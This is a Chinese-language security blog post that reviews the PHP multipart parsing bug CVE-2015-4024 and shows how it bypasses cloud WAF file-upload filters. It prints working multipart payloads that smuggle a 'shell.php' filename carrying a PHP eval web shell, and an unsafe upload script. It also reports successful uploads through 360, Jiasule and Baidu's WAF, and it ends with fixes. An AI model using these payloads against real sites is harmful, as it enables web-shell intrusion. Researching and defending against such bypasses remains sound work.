Akkuman 的博客

习技术,不积跬步无以至千里,不积小流无以成江海

PHP DOS 漏洞的新利用:CVE-2015-4024 Reviewed

1. 背景介绍

今天我们想从 2015.04.03 的一个 PHP 远程 dos 漏洞(CVE-2015-4024)说起。技术细节见如下链接,https://bugs.php.net/bug.php?id=69364。因为 php 解析 body part 的 header 时进行字符串拼接,而拼接过程重复拷贝字符导致 DOS。事实上该漏洞还有其他非 dos 的利用价值,其中之一,就是绕过当前各种云 WAF 的文件上传防御策略。

目前国内外流行的云 WAF 厂商有如百度云加速,360 网站卫士,加速乐,云盾等。因为 PHP 远程 dos 漏洞及 PHP 官方修复方案的特点,我们成功利用该漏洞绕过了当前主流 WAF 的文件上传防御,例如百度云加速、360 网站卫士、知道创于加速乐、安全狗。

接下来,我们以 PHP 为例,详细解析我们的绕过方法。

2. 绕过 WAF 的原理

根据 PHP DOS 漏洞原理,在 multipart_buffer_headers 函数解析 header 对应 value 时,value 值存在 n 行。每行的字符串以空白符开头或不存字符 ':',都触发以下合并 value 的代码块。那么解析 header 的 value 就要执行 (n-1) 次合并 value 的代码块,从而导致 DOS。

prev_len= strlen(prev_entry.value);

cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存

memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝

memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝

entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);//1次内存释放

而 PHP 官方修复方案,在进行合并时,避免重复拷贝,从而避免 DOS。绕过 WAF 的关键在于,PHP multipart_buffer_headers 函数解析 header 对应 value 时,value 值存在多行。每行的字符串以空白符开头或不存字符 ':',将进行合并。而 WAF 在解析文件上传的文件名时,没有考虑协议兼容,不进行多行合并,就可以被绕过。

根据原理构造绕过 WAF 文件上传防御的 payload,WAF 解析到的文件名为”test3.jpg”,而 PHP 解析到的文件名是”test3.jpg\nf/shell.php”,因为”/” 是目录分隔符,上传的文件名变为 shell.php。以下是绕过 paylaod、测试脚本、paylaod 进行文件上传的效果图。

WAF 绕过 payload:

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

文件上传功能测试脚本:

<?php

         $name = $_FILES['file']['name'];

        echo $name;

        echo "\n";

        move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']);

        echo "upload success! ".$_FILES['file']['name'];

        echo "\n";

        echo strlen($_FILES['file']['name']);

?>

Payload 能够正常上传

1

3. 绕过 WAF 实战

笔者通过搭建自己的测试站,接入 360 网站卫士和加速乐,验证绕过 WAF 文件上传防御的方法。

3.1 绕过 360 网站卫士

步骤 1,验证网站已被 360 网站卫士防御,拦截了直接上传 PHP 文件的请求。

2

步骤 2:成功绕过 360 网站卫士,上传 shell 成功,文件是 apo.php。在该请求中,有没有 Content-Type 不影响绕过。

3

3.2 绕过知道创宇加速乐

步骤一:验证网站被加速乐保护,拦截了直接上传 PHP 文件的请求。

4

步骤二:成功绕过加速乐,上传 shell,文件是 syt.php。

5

3.3. 绕过百度云加速

百度云加速与 CloudFlare,从百度匀加速拦截页面可以看出使用的是 CloudFlare. 但是估计有本地化,百度云加速应该是百度和 CloudFlare 共同产物吧。测试百度没有搭建自己的测试环境,找了个接入了百度云加速的站进行测试。

步骤一:验证网站被百度云加速保护,拦截了直接上传 PHP 文件的请求。

6

步骤二:成功绕过云加速

同上

4. 扩展—更多的工作

4.1 分析 filename 其他字符的绕过

同理,我们发现除了双引号外,使用单引号也能绕过 WAF 的防御,并实现文件上传。

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename='test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

4.2 分析其他应用脚本语言

我们也发现 jsp 解析也有自己的特点,同时可被用于绕过 WAF。暂时未测试 asp,aspx,python 等常用的 WEB 应用脚本语言。

5. 修复方案

5.1 修复方案一

解析文件上传请求时,如果发现请求不符合协议规范,则拒绝请求。可能会产生误拦截,需要评估误拦截的影响范围。

5.2 修复方案二

兼容 php 的文件解析方式,解析文件名时,以单引号或双引号开头,并且对应的单引号双引号闭合。

6. 总结

本文通过 Review PHP 远程 dos 漏洞 (CVE-2015-4024),并利用该特性绕过现有 WAF 的文件上传防御,成功上传 shell。 更重要的价值,提供给我们一个绕过 WAF 的新思路,一种研究新方向:利用后端应用脚本与 WAF 行为的差异绕过 WAF 的防御。总的来说,一款优秀的 WAF 应该能够处理兼容 WEB 应用容器、标准协议、web 服务器这间的差异。

留下你的脚步